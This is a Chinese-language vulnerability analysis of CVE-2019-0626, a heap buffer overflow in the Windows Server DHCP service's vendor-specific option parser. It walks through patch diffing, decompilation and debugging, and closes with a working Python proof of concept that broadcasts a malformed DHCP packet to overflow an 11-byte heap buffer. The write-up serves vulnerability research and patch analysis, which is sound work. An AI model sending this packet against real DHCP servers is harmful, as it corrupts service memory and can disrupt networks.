CVE-2019-0626 - Windows DHCP 漏洞分析

 

 

这篇文章主要介绍了 CVE-2019-0626 漏洞的基本原理,以及我对它的发现过程。这个漏洞只存在与 Windows Server 系统中,因此下文中的演示都是位于虚拟机的 Windows Server 2016 中,对应的补丁为 KB4487026。

二进制文件比较

我使用 BinDiff 来比较打补丁前后的 dhcpssvc.dll 文件,我们可以看到,一共有四个函数被修改过。

首先,我想研究一下 UncodeOption 函数,因为这个函数听起来像是某种解码器,而这种函数中通常会有很多 bug。双击目标函数,将出现两个并排的流程图,原始函数在左边,打补丁后的函数在右边,这两个流程图将函数分割成逻辑块的汇编代码,类似于 IDA 的 “graph view”。

  • 绿色方块代表两个版本的函数是相同的
  • 黄色方块代表两个版本的代码有些许不同
  • 灰色方块代表新加入的代码
  • 红色方块代表移除的代码

如图所示,新的版本只是修改了很少的代码,更有意思的是,它有两个循环,每个循环都增加了一个新的代码块。虽然 BinDiff 还可以做更多的分析,但我发现接口太笨重了。我想我已经有了所有我需要的信息,所以是时候换上 IDA 了。

 

代码分析

IDA 的完整版本可以使用 decompiler 来保存反编译的汇编代码。大多数漏洞都能通过反编译看出来,尽管在偶尔的一些时候,漏洞只能通过看汇编代码才能找出来。

根据 IDA 的 decompiler 算法,你可能会发现有重复的变量。例如, v8 和 a2 是相同的,并且从没有修改过值。我们可以通过右键点击 v8 来清理代码,并通过将 v8 映射到 a2,将所有的 v8 变量都用 a2 替换。这种变量的映射能够使用户更加方便的阅读代码。

下面是两个版本整理后代码的比较:

新版本代码的黄色框框中的循环类型换成了 do while,而且在红色框框中添加了新的判断条件。此外,蓝色框框中的检查已经被移动到了循环里面。下一步,我想要研究一下 UncodeOption 函数到底在做什么。右键单击函数并选择 jump to xref,会返回所有调用这个函数的位置。

可以看到,所有对于 UncodeOption 函数的调用几乎都是来自 ParseVendorSpecific 和 ParseVendorSpecificContent。之后,我就去谷歌了一下 ““DHCP Vendor Specific”。

谷歌的自动补全在给了一些提示。我现在知道 DHCP 有一个叫做 vendor specific options 的东西。而 UncodeOption 函数被 ParseVendorSpecific 调用,某种程度上可能用于解码 vendor specific options。那么,vendor specific options 到底是什么?

 

供应商类别选项

通过谷歌, 我在一篇博客中了解了什么是 Vendor Specific Options,即供应商类别选项。此外,这篇博客还分析了 vendor specific options 的包格式。

包的格式很简单:一个1字节的供应商类别标识符,后跟一个1字节指定后面内容的长度,
现在我们只需要发送一个测试包。

此外,我还找到了一个用来测试 DHCP 的客户端

dhcptest.exe –query –option “Vendor Specific Information”[str]=”hello world”

上面的代码将 Vendor Specific Options 设置为 hello world。现在,我们可以看到是否调用了 UncodeOption。

 

运行时分析

为了方便,我在 UncodeOption 上设置了一个断点。然后发送 DHCP 请求,希望可以命中断点。

之后,断点真的被命中了。函数的参数看起来也很好理解。

  • RCX (argument 1) 指向了 Vendor Specific Options 的开头
  • RDX (argument 2) 指向了 Vendor Specific Options 的结尾
  • R8 是 0x2B (vendor specific options 包中的供应商类别标识符)

现在我们来在反编译的代码中添加一些描述性名称;
我猜测了一些变量类型。这对了解 Vendor Specific Options 的格式非常有帮助。

在这段代码中,一共有两个循环,下面我将详细介绍这两个循环:

第一个循环

  1. 获取 option code(也就是 option buffer 中的第一个字节)。确保这个值与 R8 的值(0x2B)相同。
  2. 获取 option size(也就是 option buffer 中的第二个字节)。然后将其加到 reuired_size 上。
  3. 将 buffer_ptr_1 向后移动 option_size + 2 的距离
  4. 如果 buffer_ptr_1 比 buffer 的结尾(buffer_end)更大,则会退出。

本质上,循环会读取 option_ value的长度(在我们的示例中是 hello world)。
如果发送了多个 Vendor Specific Options,则循环将会计算总大小。变量 required_size 稍后用于分配堆空间。

第二个循环

  1. 获取 option code(也就是 option buffer 中的第一个字节)。确保这个值与 R8 的值(0x2B)相同。
  2. 获取 option size(也就是 option buffer 中的第二个字节)。
  3. 将 option value 复制 option_size 字节到堆空间。
  4. 将 buffer_ptr_2 指向 option buffer 的结尾,
  5. 如果 buffer_ptr_2 比 buffer_end 更大,则会退出。

代码用途

该函数实现了一个典型的数组解析器。第一个循环提前读取以计算解析数组所需的缓冲区大小。然后,第二个循环将数组解析到一个新分配的缓冲区上。

 

漏洞

在了解了两个循环的实现之后,我发现了一些事情。

两个循环都有一个判断条件,在 buffer 指针指向数组的尾端时会退出(绿框)。有意思的是,第一个循环中还有一个额外的检测(红框)。如果数组中的下一个元素无效(即其大小将导致指针超过数组末尾),循环1也会中止。这两种检测的不同在于, 循环 1 会在处理元素之前检测其有效性,但是循环2会直接复制元素,直到 buffer_ptr_2 超过 buffer_end。事实上,循环1负责计算大小,只会为有效的数组元素分配缓冲区。而循环2将复制所有有效的数组元素以及一个无效的数组元素。所以,如果我们发送下面的内容呢?

循环 1 将会成功的解析第一个 option size。 然后,验证下一个 option size。 由于后面没有0xFF字节,因此它将被视为无效并被忽略。最后将会分配 0x0B 字节(11 字节)的缓冲区。然后到了循环 2,它会拷贝第一个 option value, 也就是 “hello world”,在第一次迭代时,option size 是不合法的,会返回 0xFF 字节,并添加到缓冲区中。因此,循环2会将266个字节的内容拷贝到11个字节的缓冲区中,使其溢出255字节。要使最后一个元素被视为无效,第二个选项长度和缓冲区的尾部之间的长度必须小于255字节,这可以通过将恶意数组放在DHCP包的末尾来实现。

有趣的是:我们可以在最后一个选项长度后面放入任意数量的字节,只要小于255。我们可以指定254字节的内容使其溢出,同时也可以使用任意的254字节使其溢出。
本质上,他可以进行越界读写。

 

POC

为了验证这个漏洞,我需要构造一个恶意的 DHCP 包。首先,我用 dhcp-test 发送了一个合法的 DHCP 包:

由上图看来,可以看到 vendor specific options 的数据都已经附加在包的后面了。我只是用 python 将十六进制数据提取出来,并卸了一个简单的 PoC。

from socket import *
import struct
import os

dhcp_request = (
    "x01x01x06x00xd5xa6xa8x0cx00x00x80x00x00x00x00x00" 
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00" 
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00" 
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00" 
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00" 
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00" 
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00" 
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00" 
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00" 
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00" 
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00" 
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00" 
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00" 
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00" 
    "x00x00x00x00x00x00x00x00x00x00x00x00x63x82x53x63" 
    "x35x01x01x2bx0bx68x65x6cx6cx6fx20x77x6fx72x6cx64xff"
)

dhcp_request = dhcp_request[:-1]        #remove end byte (0xFF)
dhcp_request += struct.pack('=B', 0x2B) #vendor specific option code
dhcp_request += struct.pack('=B', 0xFF) #vendor specific option size
dhcp_request += "A"*254                 #254 bytes of As
dhcp_request += struct.pack('=B', 0xFF) #packet end byte

s = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP) #DHCP is UDP
s.bind(('0.0.0.0', 0))
s.setsockopt(SOL_SOCKET, SO_BROADCAST, 1)    #put socket in broadcast mode

s.sendto(dhcp_request, ('255.255.255.255', 67)) #broadcast DHCP packet on port 67

接下来,我将 debugger 附加到一个包含 dhcpssvc.dll 的 svchost 进程上,并且设置了断电。一个断电实在 HeapAlloc 上,另一个是在循环 2 后面,然后我开始发送我的 DHCP 数据包。

在 HeapAlloc 的端点上,你可以看到分配了 0x0B 字节(这对于 hello world 字符串来说已经足够了),我希望看看再次命中这个断点时会发生什么。

有意思的时,它把字符串 hello world, 还有254字节的 A 拷贝到了只有 11 字节的 堆中。但是这可能不会导致崩溃,除非我们能重写一些特别重要的位置。

 

总结

在这个漏洞上,我花的时间并不是很多,并且对于更新的系统,我还没有找到一个新的 RCE 方法。目前我发现了几个TCP接口,它们可以更好地控制堆。如果没有更有趣的东西出现,我以后可能还会再讲这个。

 

参考文献

  1. Microsoft Vendor specific DHCP options explained and demystified
  2. A custom tool for sending DHCP requests
  3. TechNet blog post about early heap mitigations
  4. TechNet blog post about Windows 8+ heap mitigations
(完)